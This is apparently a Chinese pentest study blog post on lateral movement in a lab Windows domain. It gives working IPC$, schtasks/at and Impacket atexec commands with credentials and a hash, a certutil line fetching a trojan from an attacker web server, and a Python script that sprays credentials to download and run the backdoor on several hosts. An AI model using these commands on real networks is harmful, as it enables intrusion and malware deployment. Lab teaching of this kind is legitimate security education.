第128天:内网安全-横向移动IPCATSC 命令Impacket 套件CS 插件全自动

devtools/2024/11/15 8:43:18/

环境部署

案例一: 域横向移动-IPC-命令版-at&schtasks

首先是通过外网web访问到win2008,获得了win2008的权限,这一步不做演示

因为里面的主机都不出网,所以只能利用win2008进行正向或者反向连接

信息收集

域内用户信息,以及域控名

收集域控ip

现在知道了域内的网段,探测存活主机,一般主机都会默认开启IPC$,ipc的端口是135,这里利用

ipc建立隧道进行文件上传

目标列表可以查看存活主机

这里抓取hash以及明文密码,需要提权到system

提权有很多种方法,可以看这篇文章

第98天:权限提升-WIN 全平台&MSF 自动化&CS 插件化&EXP 筛选&溢出漏洞_cs 利用插件提权的方法-CSDN博客第98天:权限提升-WIN 全平台&MSF 自动化&CS 插件化&EXP 筛选&溢出漏洞_cs 利用插件提权的方法-CSDN博客获得了system权限利用system权限去抓取hash

 

这里其实直接有了域控的账号密码,是因为我用管理员身份执行了一些操作

win7上线

这里不知道30的是win7还是别的主机

首先ipc建立隧道,这里的思路就是利用刚才抓取的账号密码,一个一个试,可能别人用他的账号登录过这台主机,那么他的账号密码就会记录下来,这里我刚搭建的环境,没登陆过,假设账号密码已知^_^,或者你要是知道了域控管理员的账号直接利用管理员账号登录

shell net use \\目标ip\ipc$ "域控密码或者主机密码" /user:"域控账号或者主机账号"
shell net use \\192.168.3.30\ipc$ "123.com" /user:qq.com\na

实验过程中发现该隧道如果windows防火墙打开的话无法建立连接

隧道建立完成后需要上传木马文件,先尝试正向连接

生成后门

先把生成的木马上传到win2008

 注意上传文件的时候至少需要用到管理员权限(admin或system)

添加计时任务,win2012之前的主机用at命令就可以,之后的主机用schetasks

shell at \\主机ip 时间  命令
shell at \\192.168.3.30 10.40 c:\2.exe 

但是win7这里经过实验发现还是使用schetasks,at命令更加简单,一句话就可以,这里就不复现了

#创建任务beacon
schtasks /create /s 192.168.3.30 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\2.exe /F#运行beacon
schtasks /U administrator /P 123.com /run /s 192.168.3.30 /tn beacon /i 

命令参数

1.schtasks /change    #更改任务的以下一个或多个属性:任务运行的程序 (/tr);运行任务的用户帐户 (/ru);用户帐户的密码 (/rp);将仅交互式属性添加到任务 (/it)2.schtasks /create    #计划新任务3.schtasks /delete    #删除计划任务4.schtasks /end       #停止任务启动的程序5.schtasks /query     #显示计划在计算机上运行的任务6.schtasks /run       #立即启动计划任务。 运行操作会忽略计划,但使用任务中保存的程序文件位置、用户帐户和密码立即运行任务
#/sc 启动时间参数为MINUTE、HOURLY、DAILY、WEEKLY等时,需要指定/mo运行的间隔时间
/sc onlogon      用户登录时启动
/sc onstart      系统启动时启动
/sc onidle       系统空闲时启动
/sc MINUTE、 HOURLY、DAILY、WEEKLY、 MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT。
/sc 分钟、小时、每天、每周、每月、一次、开始、登录、空闲、事件。
参数:
/sc   计划任务类型,可选值为MINUTE、HOURLY、DAILY、WEEKLY、ONCE、ONSTART、ONLOGON、ONIDLE、MONTHLY、ONEVENT
/tn   计划任务名称,后续查询、修改、删除、执行时使用
/tr   需要运行的程序或命令,传入的命令中间如果有空格会被截断为程序和参数,因此需要将双引号转义并传入。
/ru   运行任务的用户账户名,不使用此参数的话使用执行schtasks命令的账户运行计划任务
/rp   运行任务的用户账户密码
/mo   指定任务在计划类型中的运行间隔
/d    指定任务在一个月或者星期的某一天运行,只适用于MONTHLY和WEEKLY类型。
/m    指定任务在某个月运行,只适用于MONTHLY类型。
/i    当计划任务类型为ONIDLE时,运行任务前计算机处于空闲状态的分钟数。
/st    当计划任务类型为MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY时使用,指定任务的开始时间,默认为本地计算机的当前时间。
/ri   指定计划任务的重复间隔,以分钟为单位。不适合计划类型:MINUTE、HOURLY、ONSTART、ONLOGON、ONIDLE
/et   指定计划任务的结束时间,适用于计划类型:MINUTE、HOURLY, 在指定的结束时间之后,schtasks 不会再次启动任务,除非当前系统时间调回开始时间。默认情况下,没有结束时间。
/du   指定任务计划的持续时间,与/et类似,默认情况下没有持续时间。
/k    在指定计划任务的结束时间或持续时间后停止任务,如果不加此参数,则在时间到了会继续运行或者重启该任务。
/it   只在用户登录时运行
/z    在任务计划完成后删除任务计划
/f    在创建任务时如果任务已存在不显示警告
/RL   为作业设置运行级别。有效值为LIMITED 和 HIGHEST。默认值为 LIMITED。
/F    如果指定的任务已经存在,则强制创建任务并抑制警告。

创建并且运行

然后主动进行连接

因为我运行的账号密码是系统的账号密码,所以获得的是system权限

如果不知道系统账户的用户名密码 ,所以还需要得知道主机的账号密码。感觉真实环境肯定更难一点……

win7上线后可以进一步抓取明文密码和hash,进一步信息收集

正向上线完尝试反向上线

生成木马上传

 创建计划任务并且运行

上线从这幅图里面可以看出来win7有一台是正向,有一台是反向

win2019上线

这里win2019已经改为192.168.3.50,win2019因为系统问题所以很多得需要更高的权限去执行

win2019采用反向上线

生成监听器

 

生成木马,上传到win7

上传前看一下当前路径在哪里

创建ipc隧道,这里上传的时候发现这里创建隧道已经不能再用域用户了,要么使用这台主机的管理员用户,要么使用域的管理员用户,可能是系统的安全策略做了提升

shell net use \\192.168.3.50\ipc$ "123.com" /user:qq.com\administrator

然后创建计时任务,因为系统安全性的提高需要带上账号密码去创建计时任务

shell schtasks /create /s 192.168.3.50 /U administrator /P 123.com /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\4.exe /F

然后运行

成功上线

案例二:域横向移动-IPC-插件版-CS&LSTARS

案例三: 域横向移动-IPC-套件版-Impacket-atexec

1、Py版:https://github.com/SecureAuthCorp/impacket
python atexec.py god/administrator:Admin12345@192.168.3.21 “ver”
python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 “whoami”

2、Exe版:https://gitee.com/RichChigga/impacket-examples-windows

exe版本上传到win2019(50)去探测win2012(40)

atexec.exe 域名/账号:密码@ip "命令"
atexec.exe ./本地账号:密码@ip "命令"
atexec.exe qq.com/administrator:123.com@192.168.3.40 "whoami"

域用户

本地用户

它可以执行命令那么可以尝试用它进行上线,首先思路是已经拿到了webserver,然后上传木马文件到了webserver

让主机反向连接webserver

利用这条命令远程下载,让win2012进行上线,注意这里的ip是win2012的ip需要下载到自己的主机,通过win2008让win2012执行命令然后下载

atexec.exe ./administrator:123.com@192.168.3.40 "certutil.exe -urlcache -split -f http://192.168.3.20:80/3.exe zx.exe"

默认会下载到c:/windows/system32/下

执行,成功上线

案例四:  域横向移动-IPC-代理版-Socks&Py&atexec

exe有个问题就是文件太大了,上传py文件会好一点,但是python文件目标主机也不一定有python环境,最好的方式是建立节点在自己主机上运行。

代理转发

设置代理节点

直接在kali上运行,通过kali连接win2008给自己的节点,去连接win2012

 在kali本地利用python文件远程下载木马

记得开启win2008的监听

kali本地执行木马

成功上线

然后可以写python文件批量进行连接思路就是,把收集到的账号,密码,以及ip全部写成字典,然后,批量用atexec.py上传木马,然后运行

win2008只获得了这几个密码

前面通过端口扫描获得的ip

import os  
# 使用列表来存储密码,确保每个密码都是独立的元素  
passwords = [  '123.com',    
]   
# IP 地址集合  
ips = {  '192.168.3.20',  '192.168.3.30', '192.168.3.40', '192.168.3.50'  
}  
# 用户名集合  
users = {  'Administrator',  'jie'
}  
def xz():  # 下载后门  for ip in ips:  for user in users:  for password in passwords:  # 注意修正了路径和用户名的问题  exec1 = f'python atexec.py ./administrator:{password}@{ip} "certutil -urlcache -split -f http://192.168.3.10/3.exe zx.exe"'  exec2 = f'python atexec.py qq.com/{user}:{password}@{ip} "certutil -urlcache -split -f http://192.168.3.10/3.exe zx.exe"'  print('--->' + exec1 + '<---')  print('--->' + exec2 + '<---')  os.system(exec1)  os.system(exec2)  
def zx():  # 执行后门  for ip in ips:  for user in users:  for password in passwords:  # 注意修正了路径和用户名的问题  exec1 = f'python atexec.py ./administrator:{password}@{ip} "zx.exe"'  exec2 = f'python atexec.py qq.com/{user}:{password}@{ip} "zx.exe"'  print('--->' + exec1 + '<---')  print('--->' + exec2 + '<---')  os.system(exec1)  os.system(exec2)  if __name__ == '__main__':  xz()  zx()

通过代理执行这个文件


http://www.ppmy.cn/devtools/88986.html

相关文章

体系结构论文导读(三十一)(上):Soft errors in DNN accelerators: A comprehensive review

Soft errors in DNN accelerators: A comprehensive review DNN 加速器中的软错误&#xff1a;全面回顾 一、文章核心 深度学习任务覆盖了广泛应用。DNN算法被实现于不同系统上&#xff0c;从小型嵌入式设备到数据中心。DNN加速器&#xff08;例如GPU、FPGA、ASIC&#xff0…

Springboot 3.x - Reactive programming (2)

This article mainly introduces the difference between Webflux and traditional MVC web,and how to integrate it into springboot3.x or 2.x. 一、WebFlux vs WebMVC Blocking Web (Servlet) and Reactive Web (WebFlux) are two paradigms in Spring Web development, …

6 定时器

6 定时器 1、基本概念2、使用库函数实现 1、基本概念 定时器的基本工作框架 STM32F103共支持8个定时器 假如分频器PSC的值0,则PSC分频系数1,表示输入1个时钟信号,CNT计数器加1,1S加1&#xff0c;当CNT计数器的值3&#xff0c;跟ARR自动重载寄存器的值21相等时&#xff0c;就…

Spring AOP概念及原理

AOP&#xff08;Aspect-Oriented Programming&#xff0c;面向切面编程&#xff09;是一种编程范式&#xff0c;旨在通过分离关注点来提高程序的模块化。Spring AOP 主要用于横切关注点&#xff08;如日志记录、安全、事务管理等&#xff09;的实现。在 Spring 中&#xff0c;A…

【Material-UI 组件】 Autocomplete中的 Free Solo 模式详解

文章目录 一、组件概述1.1 Free Solo 的定义1.2 适用场景 二、基础用法2.1 实现 Free Solo 模式2.2 注意事项 三、高级配置3.1 增强用户体验的设置3.2 可创建项 四、最佳实践4.1 性能优化4.2 可访问性4.3 处理非字符串选项 五、总结 Free Solo 模式允许用户输入任意值&#xff…

Python 如何进行自然语言处理(NLTK, SpaCy)

自然语言处理&#xff08;Natural Language Processing, NLP&#xff09;是计算机科学和人工智能的一个重要领域&#xff0c;旨在实现计算机对人类语言的理解和处理。在Python中&#xff0c;有许多工具和库可以用于自然语言处理&#xff0c;其中最流行的两个是NLTK&#xff08;…

Python 基础教学:datetime 模块详解

《Python 基础教学&#xff1a;datetime 模块详解》 1. 导入 datetime 模块 在使用 datetime 模块之前&#xff0c;需要先导入它。 from datetime import datetime, date, time, timedelta2. datetime 类 datetime 类用于表示一个具体的日期和时间。 # 获取当前日期和时间…

python中一切皆为对象

1. 前言 在python中一切皆为对象&#xff0c;变量是对象&#xff0c;函数是对象&#xff0c;类也是对象。对象(object)是指在内存中具有唯一标识符(id)、类型(type)和值(value)的实例。换句话说&#xff0c;对象是一个具有属性和方法的实体&#xff0c;这些属性和方法可以被访问…